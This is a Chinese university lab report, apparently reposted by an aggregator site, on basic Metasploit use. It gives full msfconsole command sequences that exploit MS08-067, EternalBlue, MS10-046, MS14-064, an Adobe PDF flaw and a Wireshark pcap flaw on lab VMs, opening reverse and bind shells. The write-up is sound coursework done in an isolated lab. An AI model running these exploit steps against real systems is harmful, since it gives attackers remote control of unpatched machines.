2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
Posted sunxiaoxuan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用相关的知识,希望对你有一定的参考价值。
2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
- 原理与实践说明
- 攻击实例
- 主动攻击的实践
- ms08_067_netapi:自动化漏洞溢出攻击
payload:generic/shell_bind_tcp
(成功且唯一)
- ms17_010_eternalblue:“永恒之蓝”自动化攻击
payload:windows/x64/shell/reverse_tcp_uuid
(成功且唯一)
- ms08_067_netapi:自动化漏洞溢出攻击
- 攻击浏览器的实践
- 攻击客户端的实践
- Adobe
payload:windows/meterpreter/bind_tcp
(成功且唯一)
- wireshark_packet_dect
payload:windows/meterpreter/reverse_tcp
(成功)
- Adobe
- 成功应用任何一个辅助模块
- 在ms08_067中应用
use auxiliary/scanner/portscan/tcp
搜索靶机开放端口
- 在ms08_067中应用
- 主动攻击的实践
- 实验遇到的问题及解决方法
- 离实战还缺些什么技术或步骤
- 实验总结与体会
原理与实践说明
1.实践原理
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六个模块
查看六种模块源码目录/usr/share/metasploit-framework/modules
渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode"背"过去辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码空字段模块
Nop Modules
编码模块
Encoders
后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行
- MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息show [options]
- 查看攻击目标类型show [target]
- 查找命令search
- 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
- armitage
- 启动服务器service postgresql start
- 启动armitagearmitage
- webgui
4.MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
2.实践内容概述
一个主动攻击实践,如ms08_067; (1分)
一个针对浏览器的攻击,如ms11_050;(1分)
一个针对客户端的攻击,如Adobe;(1分)
成功应用任何一个辅助模块。(0.5分)
3.基础问题回答
- 用自己的话解释什么是exploit,payload,encode.
- exploit是载具,连接漏洞,将payload传送到靶机中。
- payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
攻击实例
主动攻击的实践
ms08-067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
靶机:Microsoft Windows 2000(10.0.0.112)
payload :generic/shell_reverse_tcp
测试靶机与攻击机之间能否ping通
攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.112
查看到靶机的版本号
查看到靶机存在此漏洞
msfconsole
打开控制台,遇到以下提示,原因是没有连接数据库
输入
service postgresql start
启动数据库,再次进入控制台即可search ms08-067
查看漏洞位置
use exploit/windows/smb/ms08_067_netapi
选择该漏洞set RHOSTS 10.0.0.112
设置靶机IP
利用辅助模块查看端口是否开启(默认端口为445)
search portscan # 搜索端口 use auxiliary/scanner/portscan/tcp # 使用漏洞 show options #显示设置 set RHOSTS 10.0.0.112 # 设置监听者地址 exploit # 攻击
show targets
查看targets,修改靶机的类型set target 1
(也可以不修改)show payloads
查看可用payload
选择
set generic/shell_bind_tcp
set LHOST 10.0.0.128
设置监听者ipset LPORT 5318
设置监听者端口号show options
查看设置信息
exploit
进行攻击,攻击成功!
ms17_010_eternalblue
靶机:Microsoft Windows 7(10.1.1.137)
payload : windows/x64/shell/reverse_tcp_uuid
实验步骤
nmap --script=vuln 10.1.1.137 //查看靶机开放端口、是否存在ms17_010
search ms17_010 //搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue //使用漏洞
show payloads //显示可用攻击载荷
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
set LHOST 10.1.1.128 //设置监听地址
set LPORT 5318 //设置端口号
set RHOSTS 10.1.1.137 //设置靶机地址
show options //查看配置信息
exploit //开始攻击
攻击成功
攻击浏览器的实践
ms10_046
靶机:Windows 7 + IE8
exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader
payload : windows/meterpreter/reverse_https
实验步骤
search ms10-046 //看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader //使用漏洞
show payloads //显示可用攻击载荷
set windows/meterpreter/reverse_https //选择攻击载荷
show options //查看配置信息
set LHOST 10..1.128 //设置监听地址
set SRVHOST 10.1.1.128 //设置本地收听地址
set LPORT //设置端口号
exploit #开始攻击
将
/root/.msf4/local/msf.lnk
共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions
查看当前会话
输入
sessions -i 1
即可选择第一个会话,然后就攻击成功
做过之后我发现,这个并不是攻击浏览器的,而是一个反弹连接,使用info
查看可以发现,这个模块利用了Windows快捷方式文件(. lnk)处理中的一个漏洞,该文件包含指向恶意DLL的图标资源。此模块创建一个SMB服务来使payload运行这个dll文件,同时需要靶机生成一个文件送到被攻击机上。
ms14_064
此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本。
靶机:WindowsXP+IE 8.0
exploit : windows/browser/ms14_064_ole_code_execution
payload : windows/meterpreter/reverse_tcp
实验步骤
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 10.1.1.128 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 10.1.1.128
set LPORT 5318
set target 0 //设置winXP靶机
exploit //发起攻击
将生成的URL地址在winXP的IE中打开,发现成功建立了一个会话
输入
sessions
查看会话相关信息
输入
sessions -i 1
即可选择第一个会话,调用shell权限成功
尝试使用payload:windows/meterpreter/reverse_https
,结果失败了
攻击客户端的实践
Adobe
靶机:Windows XP
payload : windows/meterpreter/bind_tcp
实验步骤
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5318 //设置端口号
set RHOST 10.1.1.161 //设置靶机IP地址
exploit #攻击
将生成的
msf.pdf
复制到Windows XP中kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 10.1.1.161 //设置靶机IP地址
set LPORT 5318 //设置端口号
exploit //攻击
- 在靶机中使用双击打开
msf.pdf
攻击成功
wireshark_packet_dect
靶机:Windows XP
payload : windows/meterpreter/reverse_tcp
实验步骤
msfconsole //进入控制台
use exploit/windows/fileformat/wireshark_packet_dect.rb //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
set FILENAME 5318.pcap //设置文件名
show options //查看设置
exploit #攻击
将生成的
5318.pcap
复制到Windows XP中kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
exploit //攻击
- 在靶机中使用wireshark打开
5318.pcap
攻击成功
实验中遇到的问题及解决方法
因为觉得每次都打开msfconle时间太长,所以我经常都是在前一次实验的基础上进行实验,在攻击的时候就会出现以下问题
- 提示是说端口被占用了,我换了几个端口都没用,后来重启了msf,奏效了!!!!。果然重启解决一切问题!
离实战还缺些什么技术或步骤
- 首先目前对某个漏洞的攻击还是针对与网上搜索的资料和步骤,msf只是攻击漏洞的一个工具,实际上还需要我们去修改一些文件或者几行代码,自己的能力还没发理解为什么要那么做,为什么要这么改,对已有攻击教程的依赖程度还比较高,所以想真正用好msf,搞懂怎么利用漏洞进行攻击还需要更多的主动性、目的性。
- 信息收集扫描的重要性,掌握准确的信息是成功的关键因素。
实验总结与体会
- 本次实验操作起来非常简单,逻辑也很清晰,绝大多数的时间花费在找靶机上。也体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。我想这也是与实践的差距之一吧。
- 总体来说实验过程还是比较顺利,除了利用经典的这些漏洞外,还了解到了一些其他方法,比如自己写代码放入模块中,同样可以有针对性地实现攻击。在微软安全技术中心有很多最新公布的漏洞,都可以作为实践的素材。
以上是关于2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用的主要内容,如果未能解决你的问题,请参考以下文章
2018-2019-2 网络对抗技术 20165212 Exp7 网络欺诈防范
2018-2019-2 网络对抗技术 20165318 Exp7 网络欺诈防范
2018-2019-2 20165209 《网络对抗技术》 Kali安装
2018-2019-2 20165316《网络对抗技术》Exp7 网络欺诈防范